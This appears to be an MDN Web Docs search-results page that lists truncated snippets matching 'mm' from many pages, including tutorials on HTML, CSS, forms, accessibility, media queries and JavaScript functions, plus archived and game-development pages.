...le the examples do show what js 1.2 does, they incorrectly indicate that it's possible to switch to the 1.2 engine. --maian 05:41, 22 september 2005 (pdt) this is true. the wording should be changed with the javascript 1.x examples, as well as refer to the versions in the past tense. i also support the use of a deprecated pre box with these examples. since it's been 9 months since the last co
mment on this, i think i'll go ahead and change all of the examples. if anyone disagrees, you can always revert. sevenspade 13:19, 2 july 2006 (pdt) after some thought, i removed the references to using language="javascript1.2", and all references are merely presented as information detailing past behavior. the "backwards compatibility" sections have been renamed to "behavior in older versions...
...cript 1.2--sevenspade 15:16, 6 july 2006 (pdt) as a side note, the ability to to specify different versions has come up again - now between versions 1.6 and 1.7. with <script type="application/javascript;version=1.7" />. see new_in_javascript_1.7#using_javascript_1.7. this will impact the presentation of future examples if it hasn't already. --george3 11:47, 14 sept 2006 (edt) sgml co
mment hiding quirks sgml co
mment hiding needs to be mentioned here and its consequences. brendan just mentioned one obscure one here: https://bugzilla.mozilla.org/show_bu...?id=310993#c20 --maian 22:46, 5 october 2005 (pdt) section title capitalization there's an inconsistency in the capitalization of section titles. some capitalize everything as if it's a book title. others just capitalize the ...
...And 2 more matches
Archive of obsolete content
ing localization support to our stock watcher extension. performing a few simple steps makes your extension much easier to localize into various languages without having to edit the xul or javascript files themselves. makefile - .mk files misc top level these pages were moved from the top level of mdn in a spate of furious reorganization.
mmgc
mmgc is the tamarin (née macromedia) garbage collector, a memory management library that has been built as part of the avm2/tamarin effort. it is a static library that is linked into the flash player but kept separate, and can be incorporated into other programs. mozilla release faq this document may be distributed and modified free...
...sh player but kept separate, and can be incorporated into other programs. mozilla release faq this document may be distributed and modified freely. no guarantee of factuality in this faq is made, and it is maintained by pat gunn, who is not affiliated with netscape. various other people have contributed to this faq. newsgroup su
mmaries obsolete: xpcom-based scripting for npapi plugins plugins that used to take advantage of being scriptable via liveconnect in 4.x netscape browsers lost this possibility in the new world. the main reason for this is that there is no guarantee of java compatibility on a binary level due to the jri/jni switch. the new mozilla xpcom architecture allows...
... liveconnect in 4.x netscape browsers lost this possibility in the new world. the main reason for this is that there is no guarantee of java compatibility on a binary level due to the jri/jni switch. the new mozilla xpcom architecture allows xpcom components be scriptable via a different mechanism called xpconnect. we leverage some of these ideas to help you make your netscape co
mmunicator 4.x plugins exposed to javascript in mozilla based browsers. plugins for more information about plugin roadmap, see non-archived plugin information. rss really simple syndication (rss) is a popular html-like xml-based data format used for syndication. rss has a sordid history and a multitude of different incompatible rss versions...
...And 2 more matches
Tiles and tilemaps overview - Game development
p out of small, regular-shaped images called tiles. this results in performance and memory usage gains — big image files containing entire level maps are not needed, as they are constructed by small images or image fragments multiple times. this set of articles covers the basics of creating tile maps using javascript and canvas (although the same high level techniques could be used in any progra
mming language.) besides the performance gains, tilemaps can also be mapped to a logical grid, which can be used in other ways inside the game logic (for example creating a path-finding graph, or handling collisions) or to create a level editor. some popular games that use this technique are super mario bros, pacman, zelda: link's awakening, starcraft, and sim city 2000. think about any game that ...
...d together in a single image file. when it's time to draw a tile, only a small section of this bigger image is rendered on the game canvas. the below images shows a tile atlas of 8 x 4 tiles: using an atlas also has the advantage of naturally assigning every tile an index. this index is perfect to use as the tile identifier when creating the tilemap object. the tilemap data structure it is co
mmon to group all the information needed to handle tilemaps into the same data structure or object. these data objects (map object example) should include: tile size: the size of each tile in pixels across / pixels down. image atlas: the image atlas that will be used (one or many.) map dimensions: the dimensions of the map, either in tiles across / tiles down, or pixels across / pixels down. v...
...ogic grid: this can be a collision grid, a path-finding grid, etc., depending on the type of game. note: for the visual grid, a special value (usually a negative number, 0 or null) is needed to represent empty tiles. square tiles square-based tilemaps are the most simple implementation. a more generic case would be rectangular-based tilemaps — instead of square — but they are far less co
mmon. square tiles allow for two perspectives: top-down (like many rpg's or strategy games like warcraft 2 or final fantasy's world view.) side-view (like platformers such as super mario bros.) static tilemaps a tilemap can either fit into the visible screen area screen or be larger. in the first case, the tilemap is static — it doesn't need to be scrolled to be fully shown. this case is ve...
...And 2 more matches
Visual-js game engine - Game development
. with strong connection with webpack physics done with (matter.js) matter ts this part is removed from this project. new link is : https://github.com/zlatnaspirala/visual-ts-game-engine basic licence rules : 1) each file in this project has its own license , be careful , do not violate the basic rules. 2) you are free to use any version of visual js library in any other project (even co
mmercial projects) as long as the copyright header is left intact except for plugins on sale and graphics that come with them (they have special co
mmercial licence). 3) please read the following terms and conditions before using this application: disclaimer of warranty 'visual js' is provided "as-is" and without warranty of any kind, express, implied or otherwise, includi...
...including without limitation, any warranty of merchantability or fitness for a particular purpose. in no event shall the author of this software be held liable for data loss, damages, loss of profits or any other kind of loss while using or misusing this software. external licences in this project : webcam nui control is under : created by romuald quantin. ...
... liable for data loss, damages, loss of profits or any other kind of loss while using or misusing this software. external licences in this project : webcam nui control is under : created by romuald quantin. ...
...And 2 more matches
Function - MDN Web Docs Glossary: Definitions of Web-related terms
quare(b); }; //using ecmascript 2015 arrow notation const addsquares = (a,b) => { const square = x => x*x; return square(a) + square(b); }; a recursive function is a function that calls itself. see recursion. ...
...5 arrow notation const loop = x => { if (x >= 10) return; loop(x + 1); }; an i
mmediately invoked function expressions (iife) is a function that is called directly after the function is loaded into the browser’s compiler. the way to identify an iife is by locating the extra left and right parenthesis at the end of the function’s definition. ...
...turn; loop(x + 1); }; an i
mmediately invoked function expressions (iife) is a function that is called directly after the function is loaded into the browser’s compiler. the way to identify an iife is by locating the extra left and right parenthesis at the end of the function’s definition. ...
...And 2 more matches
CSS and JavaScript accessibility best practices - Learn web development
ssible. prerequisites: basic computer literacy, a basic understanding of html, css, and javascript, and understanding of what accessibility is. objective: to gain familiarity with using css and javascript appropriately in your web documents to maximise accessibility and not detract from it. css and javascript are accessible? css and javascript don't have the same i
mmediate importance for accessibility as html, but they are still able to help or damage accessibility, depending on how they are used. to put it another way, it is important that you consider some best practice advice to make sure that your use of css and javascript doesn't ruin the accessibility of your documents. css let's start off by looking at css. correct semantics and user expectation it...
... our html: a good basis for accessibility article, you should use the appropriate semantic element for the job, whenever possible. if you don't, it can cause confusion and usability issues for everyone, but particularly users with disabilities. using correct semantics has a lot to do with user expectations — elements look and behave in certain ways, according to their functionality, and these co
mmon conventions are expected by users. as an example, a screen reader user can't navigate a page via heading elements if the developer hasn't appropriately used heading elements to markup the content. by the same token, a heading loses its visual purpose if you style it so it doesn't look like a heading. the rule of thumb is that you can update the styling of a page feature to fit in your design,...
...eading elements if the developer hasn't appropriately used heading elements to markup the content. by the same token, a heading loses its visual purpose if you style it so it doesn't look like a heading. the rule of thumb is that you can update the styling of a page feature to fit in your design, but don't change it so much that it no longer looks or behaves as expected. the following sections su
mmarize the main html features to consider. "standard" text content structure headings, paragraphs, lists — the core text content of your page: <h1>heading</h1> <p>paragraph</p> <ul> <li>my list</li> <li>has two items.</li> </ul> some typical css might look like this: h1 { font-size: 5rem; } p, li { line-height: 1.5; font-size: 1.6rem; } you should: select sensible font sizes...
...And 2 more matches
Accessible multimedia - Learn web development
are) and adds our custom controls to it. see custom-controls-oojs (also see the source code). audio transcripts to provide deaf people with access to audio content, you really need to create text transcripts. these can either be included on the same page as the audio in some way, or included on a separate page and linked to. ...
...you could even have a go at doing them yourself. ...
...you could even have a go at doing them yourself. automated services — there are ai services available, like trint or transcribear. upload a video/audio file to the site, and it automatically transcribes it for you. ...
...And 2 more matches
Beginner's guide to media queries - Learn web development
is lesson you will first learn about the syntax used in media queries, and then move on to use them in a worked example showing how a simple design might be made responsive. prerequisites: html basics (study introduction to html), and an idea of how css works (study css first steps and css building blocks.) objective: to understand how to use media queries, and the most co
mmon approach for using them to create responsive designs. media query basics the simplest media query syntax looks like this: @media media-type and (media-feature-rule) { /* css rules go here */ } it consists of: a media type, which tells the browser what kind of media this code is for (e.g. print, or screen). a media expression, which is a rule, or test that must be passed for the ...
...is hovered over. also in level 4 is the pointer media feature. this takes three possible values, none, fine and coarse. a fine pointer is something like a mouse or trackpad. it enables the user to precisely target a small area. a coarse pointer is your finger on a touchscreen. the value none means the user has no pointing device; perhaps they are navigating with the keyboard only or with voice co
mmands. using pointer can help you to design better interfaces that respond to the type of interaction a user is having with a screen. for example, you could create larger hit areas if you know that the user is interacting with the device as a touchscreen. more complex media queries with all of the different possible media queries, you may want to combine them, or create lists of queries — any ...
...idth and orientation. the body text will only be blue if the viewport is at least 600 pixels wide and the device is in landscape mode. @media screen and (min-width: 600px) and (orientation: landscape) { body { color: blue; } } open this example in the browser, or view the source. "or" logic in media queries if you have a set of queries, any of which could match, then you can co
mma separate these queries. in the below example the text will be blue if the viewport is at least 600 pixels wide or the device is in landscape orientation. if either of these things are true the query matches. @media screen and (min-width: 600px), screen and (orientation: landscape) { body { color: blue; } } open this example in the browser, or view the source. "not" logic in me...
...And 2 more matches
Multiple-column layout - Learn web development
laoreet sit amet. sed auctor cursus massa at porta. integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. curabitur vehicula tellus neque, ac ornare ex malesuada et. in vitae convallis lacus. aliquam erat volutpat. suspendisse ac imperdiet turpis. aenean finibus sollicitudin eros pharetra congue. duis ornare egestas augue ut luctus. proin blandit quam nec lacus varius co
mmodo et a urna. ut id ornare felis, eget fermentum sapien.</p> <p>nam vulputate diam nec tempor bibendum. donec luctus augue eget malesuada ultrices. phasellus turpis est, posuere sit amet dapibus ut, facilisis sed est. nam id risus quis ante semper consectetur eget aliquam lorem. vivamus tristique elit dolor, sed pretium metus suscipit vel. mauris ultricies lectus sed lobortis finibus. vivamu...
...laoreet sit amet. sed auctor cursus massa at porta. integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. curabitur vehicula tellus neque, ac ornare ex malesuada et. in vitae convallis lacus. aliquam erat volutpat. suspendisse ac imperdiet turpis. aenean finibus sollicitudin eros pharetra congue. duis ornare egestas augue ut luctus. proin blandit quam nec lacus varius co
mmodo et a urna. ut id ornare felis, eget fermentum sapien.</p> <p>nam vulputate diam nec tempor bibendum. donec luctus augue eget malesuada ultrices. phasellus turpis est, posuere sit amet dapibus ut, facilisis sed est. nam id risus quis ante semper consectetur eget aliquam lorem. vivamus tristique elit dolor, sed pretium metus suscipit vel. mauris ultricies lectus sed lobortis finibus. vivamu...
...laoreet sit amet. sed auctor cursus massa at porta. integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. curabitur vehicula tellus neque, ac ornare ex malesuada et. in vitae convallis lacus. aliquam erat volutpat. suspendisse ac imperdiet turpis. aenean finibus sollicitudin eros pharetra congue. duis ornare egestas augue ut luctus. proin blandit quam nec lacus varius co
mmodo et a urna. ut id ornare felis, eget fermentum sapien.</p> <p>nam vulputate diam nec tempor bibendum. donec luctus augue eget malesuada ultrices. phasellus turpis est, posuere sit amet dapibus ut, facilisis sed est. nam id risus quis ante semper consectetur eget aliquam lorem. vivamus tristique elit dolor, sed pretium metus suscipit vel. mauris ultricies lectus sed lobortis finibus. vivamu...
...And 2 more matches
Positioning - Learn web development
ch we'll explain in the next section. introducing top, bottom, left, and right top, bottom, left, and right are used alongside position to specify exactly where to move the positioned element to. to try this out, add the following declarations to the .positioned rule in your css: top: 30px; left: 30px; note: the values of these properties can take any units you'd logically expect — pixels,
mm, rems, %, etc. if you now save and refresh, you'll get a result something like this: <h1>relative positioning</h1> <p>i am a basic block level element. my adjacent block level elements sit on new lines below me.</p> <p class="positioned">by default we span 100% of the width of our parent element, and we are as tall as our child content. our total width and height is our content + padding + ...
...ellus laoreet sit amet. sed auctor cursus massa at porta. integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. curabitur vehicula tellus neque, ac ornare ex malesuada et. in vitae convallis lacus. aliquam erat volutpat. suspendisse ac imperdiet turpis. aenean finibus sollicitudin eros pharetra congue. duis ornare egestas augue ut luctus. proin blandit quam nec lacus varius co
mmodo et a urna. ut id ornare felis, eget fermentum sapien.</p> <div class="positioned">sticky</div> <p>nam vulputate diam nec tempor bibendum. donec luctus augue eget malesuada ultrices. phasellus turpis est, posuere sit amet dapibus ut, facilisis sed est. nam id risus quis ante semper consectetur eget aliquam lorem. vivamus tristique elit dolor, sed pretium metus suscipit vel. mauris ultricies l...
...ellus laoreet sit amet. sed auctor cursus massa at porta. integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. curabitur vehicula tellus neque, ac ornare ex malesuada et. in vitae convallis lacus. aliquam erat volutpat. suspendisse ac imperdiet turpis. aenean finibus sollicitudin eros pharetra congue. duis ornare egestas augue ut luctus. ...
...And 2 more matches
Styling lists - Learn web development
hat are similar, and some that are particular to their type of list. ...
...(ordered) list</h2> <p>paragraph for reference, paragraph for reference, paragraph for reference, paragraph for reference, paragraph for reference, paragraph for reference.</p> <ol> <li>toast pita, leave to cool, then slice down the edge.</li> <li>fry the halloumi in a shallow, non-stick pan, until browned on both sides.</li> <li>wash and chop the salad.</li> <li>fill pita with salad, hu
mmus, and fried halloumi.</li> </ol> <h2>ingredient description list</h2> <p>paragraph for reference, paragraph for reference, paragraph for reference, paragraph for reference, paragraph for reference, paragraph for reference.</p> <dl> <dt>hu
mmus</dt> <dd>a thick dip/sauce generally made from chick peas blended with tahini, lemon juice, salt, garlic, and other ingredients.</dd> <dt>pita</dt...
... 1. html and css have some tools to help you here. start the start attribute allows you to start the list counting from a number other than 1. the following example: <ol start="4"> <li>toast pita, leave to cool, then slice down the edge.</li> <li>fry the halloumi in a shallow, non-stick pan, until browned on both sides.</li> <li>wash and chop the salad.</li> <li>fill pita with salad, hu
mmus, and fried halloumi.</li> </ol> gives you this output: reversed the reversed attribute will start the list counting down instead of up. the following example: <ol start="4" reversed> <li>toast pita, leave to cool, then slice down the edge.</li> <li>fry the halloumi in a shallow, non-stick pan, until browned on both sides.</li> <li>wash and chop the salad.</li> <li>fill pita with s...
...And 2 more matches
Client-side form validation - Learn web development
amples make sense! if a non-empty value of the <input> doesn't match the regular expression's pattern, the input will match the :invalid pseudoclass. note: some <input> element types don't need a pattern attribute to be validated against a regular expression. specifying the email type, for example, validates the inputs value against a well-formed email address pattern or a pattern matching a co
mma-separated list of email addresses if it has the multiple attribute. note: the <textarea> element doesn't support the pattern attribute. constraining the length of your entries you can constrain the character length of all text fields created by <input> or <textarea> by using the minlength and maxlength attributes. a field is invalid if it has a value and that value has fewer characters tha...
...te for constraint validation (willvalidate is false) or the element's value satisfies its constraints (is valid), this will return an empty string. validity: returns a validitystate object that contains several properties describing the validity state of the element. you can find full details of all the available properties in the validitystate reference page; below is listed a few of the more co
mmon ones: patternmismatch: returns true if the value does not match the specified pattern, and false if it does match. if true, the element matches the :invalid css pseudo-class. toolong: returns true if the value is longer than the maximum length specified by the maxlength attribute, or false if it is shorter than or equal to the maximum. if true, the element matches the :invalid css pseu...
...sage is displayed depends on the browser. these automated messages have two drawbacks: there is no standard way to change their look and feel with css. they depend on the browser locale, which means that you can have a page in one language but an error message displayed in another language, as seen in the following firefox screenshot. customizing these error messages is one of the most co
mmon use cases of the constraint validation api. let's work through a simple example of how to do this. we'll start with some simple html (feel free to put this in a blank html file; use a fresh copy of fruit-start.html as a basis, if you like): <form> <label for="mail">i would like you to provide me with an e-mail address:</label> <input type="email" id="mail" name="mail"> <button>submit</b...
...And 2 more matches
How to structure a web form - Learn web development
and the label read out with the input is "name required edit text". note: you might get slightly different results, depending on your screenreader. this was tested in voiceover (and nvda behaves similarly). we'd love to hear about your experiences too. note: you can find this example on github as required-labels.html (see it live also). ...
...ing on your screenreader. this was tested in voiceover (and nvda behaves similarly). we'd love to hear about your experiences too. note: you can find this example on github as required-labels.html (see it live also). don't test the example with 2 or 3 of the versions unco
mmented — screenreaders will definitely get confused if you have multiple labels and multiple inputs with the same id! co
mmon html structures used with forms beyond the structures specific to web forms, it's good to remember that form markup is just html. this means that you can use all the power of html to structure a web form. as you can see in the examples, it's co
mmon practice to wrap a label and its widget with a <li> element within a <ul> or <ol> list. <p> and <div> elements are also co
mmonly used. lists are r...
...html structures used with forms beyond the structures specific to web forms, it's good to remember that form markup is just html. this means that you can use all the power of html to structure a web form. as you can see in the examples, it's co
mmon practice to wrap a label and its widget with a <li> element within a <ul> or <ol> list. <p> and <div> elements are also co
mmonly used. lists are reco
mmended for structuring multiple checkboxes or radio buttons. in addition to the <fieldset> element, it's also co
mmon practice to use html titles (e.g. <h1>, <h2>) and sectioning (e.g. <section>) to structure complex forms. above all, it is up to you to find a comfortable coding style that results in accessible, usable forms. each separate section of functionality should be contained in a separate...
...And 2 more matches
UI pseudo-classes - Learn web development
to fix this we style the parent <div> to become a flex container, but also tell it to wrap its contents onto new lines if the content becomes too long: fieldset > div { margin-bottom: 20px; display: flex; flex-flow: row wrap; } the effect this h...
...vely. note: numeric input types are date, month, week, time, datetime-local, number, and range. it is worth noting that inputs whose data is in-range will also be matched by the :valid pseudo-class and inputs whose data is out-of-range will also be matched by the :invalid pseudo-class. so why have both? the issue is really one of semantics — out-of-range is a more specific type of invalid co
mmunication, so you might want to provide a different message for out-of-range inputs, which will be more helpful to users than just saying "invalid". you might even want to provide both. let's look at an example that does exactly this. our out-of-range.html demo (see also the source code) builds on top of the previous example to provide out-of-range messages for the numeric inputs, as well as sayi...
...o, etc. a disabled element on the other hand cannot be interacted with in any way, and its data isn't even sent to the server these two states can be targeted using :enabled and :disabled. why are disabled inputs useful? well, sometimes if some data does not apply to a certain user, you might not even want to submit that data when they submit the form. a classic example is a shipping form — co
mmonly you'll get asked if you want to use the same address for billing and shipping; if so, you can just send a single address to the server, and might as well just disable the billing address fields. let's have a look at an example that does just this. first of all, the html is a simple form containing text inputs, plus a checkbox to toggle disabling the billing address on and off. the billing ad...
...And 2 more matches
HTML basics - Learn web development
g started with the web next html (hypertext markup language) is the code that is used to structure a web page and its content. for example, content could be structured within a set of paragraphs, a list of bulleted points, or using images and data tables. as the title suggests, this article will give you a basic understanding of html and its functions. so what is html? html is not a progra
mming language; it is a markup language that defines the structure of your content. html consists of a series of elements, which you use to enclose, or wrap, different parts of the content to make it appear a certain way, or act a certain way. the enclosing tags can make a word or image hyperlink to somewhere else, can italicize words, can make the font bigger or smaller, and so on. for example, ta...
... the following: a space between it and the element name (or the previous attribute, if the element already has one or more attributes). the attribute name followed by an equal sign. the attribute value wrapped by opening and closing quotation marks. note: simple attribute values that don't contain ascii whitespace (or any of the characters " ' ` = < > ) can remain unquoted, but it is reco
mmended that you quote all attribute values, as it makes the code more consistent and understandable. nesting elements you can put elements inside other elements too — this is called nesting. if we wanted to state that our cat is very grumpy, we could wrap the word "very" in a <strong> element, which means that the word is to be strongly emphasized: <p>my cat is <strong>very</strong> grumpy.</...
... marking up text this section will cover some of the essential html elements you'll use for marking up the text. headings heading elements allow you to specify that certain parts of your content are headings — or subheadings. in the same way that a book has the main title, chapter titles and subtitles, an html document can too. html contains 6 heading levels, <h1>–<h6>, although you'll co
mmonly only use 3 to 4 at most: <h1>my main title</h1> <h2>my top level heading</h2> <h3>my subheading</h3> <h4>my sub-subheading</h4> now try adding a suitable title to your html page just above your <img> element. note: you'll see that your heading level 1 has an implicit style. don't use heading elements to make text bigger or bold, because they are used for accessibility and other reasons su...
...And 2 more matches
The web and web standards - Learn web development
best practices you'll learn about through the course. brief history of the web we'll keep this very brief, as there are many (more) detailed accounts of the web's history out there, which we'll link to later on (also try searching for "history of the web" in your favorite search engine and see what you get, if you are interested in more detail.) in the late 1960s, the us military developed a co
mmunication network called arpanet. this can be considered a forerunner of the web, as it worked on packet switching, and featured the first implementation of the tcp/ip protocol suite. these two technologies form the basis of the infrastructure that the internet is built on. in 1980, tim berners-lee (often referred to as timbl) wrote a notebook program called enquire, which featured the concept of...
...990, timbl had created all the things needed to run the first version of the web — http, html, the first web browser, which was called worldwideweb, an http server, and some web pages to look at. in the next few years that followed, the web exploded, with multiple browsers being released, thousands of web servers being set up, and millions of web pages being created. ok, that's a very simple su
mmary of what happened, but i did promise you a brief su
mmary. one last significant data point to share is that in 1994, timbl founded the world wide web consortium (w3c), an organization that brings together representatives from many different technology companies to work together on the creation of web technology specifications. after that other technologies followed such as css and javascript, a...
...-date with all the new tools and features that appear on the web platform, and keep practicing and refining your craft. the only constant is change. does this sound hard? don't worry — we aim to give you everything you need to know to get started, and things will get easier. once you embrace the constant change and uncertainty of the web, you'll start to enjoy yourself. as a part of the web co
mmunity, you'll have an entire web of contacts and useful material to help you, and you'll start to enjoy the creative possibilities it brings. you're a digital creative now. enjoy the experience, and the potential for earning a living. overview of modern web technologies there are a number of technologies to learn if you want to be a front-end web developer. in this section we will describe them...
...And 2 more matches
Tips for authoring fast-loading HTML pages - Learn web development
an optimized web page not only provides for a more responsive site for your visitors but also reduces the load on your web servers and internet connection. this can be crucial for high volume sites or sites which have a spike in traffic due to unusual circumstances such as breaking news stories. optimizing page load performance is not just for content which will be viewed by narrowband dial-up or mobile device visitors. it is just as important for broadband content and can lead to dramatic improvements even for your visitors with the fastest connections. tips reduce page weight page weight is by far the most important factor in page-load performance. ...
...t for content which will be viewed by narrowband dial-up or mobile device visitors. it is just as important for broadband content and can lead to dramatic improvements even for your visitors with the fastest connections. tips reduce page weight page weight is by far the most important factor in page-load performance. reducing page weight through the elimination of unnecessary whitespace and co
mments, co
mmonly known as minimization, and by moving inline script and css into external files, can improve download performance with minimal need for other changes in the page structure. tools such as html tidy can automatically strip leading whitespace and extra blank lines from valid html source. other tools can "compress" javascript by reformatting the source or by obfuscating the source and r...
...uce the need for (spacer) images, in terms of layout, and can very often replace images of stylized text -- that "cost" much more than the equivalent text-and-css. using valid markup has other advantages. first, browsers will have no need to perform error-correction when parsing the html (this is aside from the philosophical issue of whether to allow format variation in user input and then progra
mmatically "correct" or normalize it; or whether, instead, to enforce a strict, no-tolerance input format). moreover, valid markup allows for the free use of other tools which can pre-process your web pages. for example, html tidy can remove whitespace and optional ending tags; however, it will refuse to run on a page with serious markup errors. chunk your content tables for layouts are a legacy ...
...And 2 more matches
Advanced text formatting - Learn web development
a set of terms and definitions: soliloquy in drama, where a character speaks to themselves, representing their inner thoughts or feelings and in the process relaying them to the audience (but not to other characters.) monologue in drama, where a character speaks their thoughts out loud to share them with the audience and any other characters present. aside in drama, where a character shares a co
mment only with the audience for humorous or dramatic effect. this is usually a feeling, thought or piece of additional background information description lists use a different wrapper than the other list types — <dl>; in addition each term is wrapped in a <dt> (description term) element, and each description is wrapped in a <dd> (description definition) element. let's finish marking up our examp...
...this is usually a feeling, thought, or piece of additional background information.</dd> </dl> the browser default styles will display description lists with the descriptions indented somewhat from the terms. note that it is permitted to have a single term with multiple descriptions, for example: <dl> <dt>aside</dt> <dd>in drama...
...humorous or dramatic effect. this is usually a feeling, thought, or piece of additional background information.</dd> </dl> the browser default styles will display description lists with the descriptions indented somewhat from the terms. note that it is permitted to have a single term with multiple descriptions, for example: <dl> <dt>aside</dt> <dd>in drama, where a character shares a co
mment only with the audience for humorous or dramatic effect. this is usually a feeling, thought, or piece of additional background information.</dd> <dd>in writing, a section of content that is related to the current topic, but doesn't fit directly into the main flow of content so is presented nearby (often in a box off to the side.)</dd> </dl> active learning: marking up a set of definitions...
...And 2 more matches
Creating hyperlinks - Learn web development
version of firefox: <a href="https://download.mozilla.org/?product=firefox-latest-ssl&os=win64&lang=en-us" download="firefox-latest-64bit-installer.exe"> download latest firefox for windows (64-bit) (english, us) </a> active learning: creating a navigation menu for this exercise, we'd like you to link some pages together with a navigation menu to create a multi-page website. this is one co
mmon way in which a website is created — the same page structure is used on every page, including the same navigation menu, so when links are clicked it gives the impression that you are staying in the same place, and different content is being brought up. you'll need to make local copies of the following four pages, all in the same directory. for a complete file list, see the navigation-menu-sta...
...g page: note: if you get stuck, or aren't sure if you have got it right, you can check the navigation-menu-marked-up directory to see the correct answer. e-mail links it's possible to create links or buttons that, when clicked, open a new outgoing email message rather than linking to a resource or page. this is done using the <a> element and the mailto: url scheme. in its most basic and co
mmonly used form, a mailto: link simply indicates the email address of the intended recipient. for example: <a href="mailto:nowhere@mozilla.org">send email to nowhere</a> this results in a link that looks like this: send email to nowhere. in fact, the email address is optional. if you omit it and your href is simply "mailto:"), a new outgoing email window will be opened by the user's email clien...
...o:"), a new outgoing email window will be opened by the user's email client with no destination address. this is often useful as "share" links that users can click to send an email to an address of their choosing. specifying details in addition to the email address, you can provide other information. in fact, any standard mail header fields can be added to the mailto url you provide. the most co
mmonly used of these are "subject", "cc", and "body" (which is not a true header field, but allows you to specify a short content message for the new email). each field and its value is specified as a query term. here's an example that includes a cc, bcc, subject and body: <a href="mailto:nowhere@mozilla.org?cc=name2@rapidtables.com&bcc=name3@rapidtables.com&subject=the%20subject%20of%20the%20emai...
...And 2 more matches
Images in HTML - Learn web development
uld read a quick primer on urls and paths to refresh your memory on relative and absolute urls before continuing. so for example, if your image is called dinosaur.jpg, and it sits in the same directory as your html page, you could embed the image like so: <img src="dinosaur.jpg"> if the image was in an images subdirectory, which was inside the same directory as the html page (which google reco
mmends for seo/indexing purposes), then you'd embed it like this: <img src="images/dinosaur.jpg"> and so on. note: search engines also read image filenames and count them towards seo. therefore, you should give your image a descriptive filename; dinosaur.jpg is better than img835.png. you could embed the image using its absolute url, for example: <img src="https://www.example.com/images/dinos...
...e or path name might be wrong. the browser doesn't support the image type. some people still use text-only browsers, such as lynx, which displays the alt text of images. you may want to provide text for search engines to utilize; for example, search engines can match alt text with search queries. users have turned off images to reduce data transfer volume and distractions. this is especially co
mmon on mobile phones, and in countries where bandwidth is limited or expensive. what exactly should you write inside your alt attribute? it depends on why the image is there in the first place. in other words, what you lose if your image doesn't show up: decoration. you should use css background images for decorative images, but if you must use html, add a blank alt="". if the image isn't part...
...pporting information if needed. in our example, we could do this: <img src="images/dinosaur.jpg" alt="the head and torso of a dinosaur skeleton; it has a large head with long sharp teeth" width="400" height="341" title="a t-rex on display in the manchester university museum"> this gives us a tooltip on mouse hover, just like link titles: however, this is not reco
mmended — title has a number of accessibility problems, mainly based around the fact that screen reader support is very unpredictable and most browsers won't show it unless you are hovering with a mouse (so e.g. no access to keyboard users). if you are interested in more information about this, read the trials and tribulations of the title attribute by scott o'hara. it is better to include such s...
...And 2 more matches
HTML table basics - Learn web development
to html). objective: to gain basic familiarity with html tables. what is a table ? a table is a structured set of data made up of rows and columns (tabular data). a table allows you to quickly and easily look up values that indicate some kind of connection between different types of data, for example a person and their age, or a day of the week, or the timetable for a local swi
mming pool. tables are very co
mmonly used in human society, and have been for a long time, as evidenced by this us census document from 1800: it is therefore no wonder that the creators of html provided a means by which to structure and present tabular data on the web. how does a table work? the point of a table is that it is rigid. information is easily interpreted by making visual associ...
...ot use html tables? html tables should be used for tabular data — this is what they are designed for. unfortunately, a lot of people used to use html tables to lay out web pages, e.g. one row to contain the header, one row to contain the content columns, one row to contain the footer, etc. you can find more details and an example at page layouts in our accessibility learning module. this was co
mmonly used because css support across browsers used to be terrible; table layouts are much less co
mmon nowadays, but you might still see them in some corners of the web. in short, using tables for layout rather than css layout techniques is a bad idea. the main reasons are as follows: layout tables reduce accessibility for visually impaired users: screenreaders, used by blind people, interpret ...
...ticle), they allow you to make tables more accessible by associating each header with all the data in the same row or column. screenreaders are then able to read out a whole row or column of data at once, which is pretty useful. allowing cells to span multiple rows and columns sometimes we want cells to span multiple rows or columns. take the following simple example, which shows the names of co
mmon animals. in some cases, we want to show the names of the males and females next to the animal name. sometimes we don't, and in such cases we just want the animal name to span the whole table. the initial markup looks like this: <table> <tr> <th>animals</th> </tr> <tr> <th>hippopotamus</th> </tr> <tr> <th>horse</th> <td>mare</td> </tr> <tr> <td>stallion</td> ...
...And 2 more matches
Build your own function - Learn web development
played in the alert box. try varying the string to change the message. the alert function is limited: you can alter the message, but you can't easily vary anything else, such as the color, icon, or anything else. we'll build one that will prove to be more fun. note: this example should work in all modern browsers fine, but the styling might look a bit funny in slightly older browsers. we'd reco
mmend you doing this exercise in a modern browser like firefox, opera, or chrome. the basic function to begin with, let's put together a basic function. note: for function naming conventions, you should follow the same rules as variable naming conventions. this is fine, as you can tell them apart — function names appear with parentheses after them, and variables don't. start by accessing ...
...o focus on here is the function's structure and usage, but we wanted to show something interesting for this example. calling the function you've now got your function definition written into your <script> element just fine, but it will do nothing as it stands. try including the following line below your function to call it: displaymessage(); this line invokes the function, making it run i
mmediately. when you save your code and reload it in the browser, you'll see the little message box appear i
mmediately, only once. we are only calling it once, after all. now open your browser developer tools on the example page, go to the javascript console and type the line again there, you'll see it appear again! so this is fun — we now have a reusable function that we can call any time we ...
... a button being clicked. but in this case, instead of calling an anonymous function containing some code, we are calling our function name directly. try saving and refreshing the page — now you should see the message box appear when you click the button. you might be wondering why we haven't included the parentheses after the function name. this is because we don't want to call the function i
mmediately — only after the button has been clicked. if you try changing the line to btn.onclick = displaymessage(); and saving and reloading, you'll see that the message box appears without the button being clicked! the parentheses in this context are sometimes called the "function invocation operator". you only use them when you want to run the function i
mmediately in the current scope. in the...
...And 2 more matches
Object-oriented JavaScript for beginners - Learn web development
previous overview: objects next with the basics out of the way, we'll now focus on object-oriented javascript (oojs) — this article presents a basic view of object-oriented progra
mming (oop) theory, then explores how javascript emulates object classes via constructor functions, and how to create object instances. prerequisites: basic computer literacy, a basic understanding of html and css, familiarity with javascript basics (see first steps and building blocks) and oojs basics (see introduction to objects). ...
...es how javascript emulates object classes via constructor functions, and how to create object instances. prerequisites: basic computer literacy, a basic understanding of html and css, familiarity with javascript basics (see first steps and building blocks) and oojs basics (see introduction to objects). objective: to understand the basic theory behind object-oriented progra
mming, how this relates to javascript ("everything is an object"), and how to create constructors and object instances. object-oriented progra
mming — the basics to start with, let's give you a simplistic, high-level view of what object-oriented progra
mming (oop) is. we say simplistic, because oop can quickly get very complicated, and giving it a full treatment now would probably confuse mo...
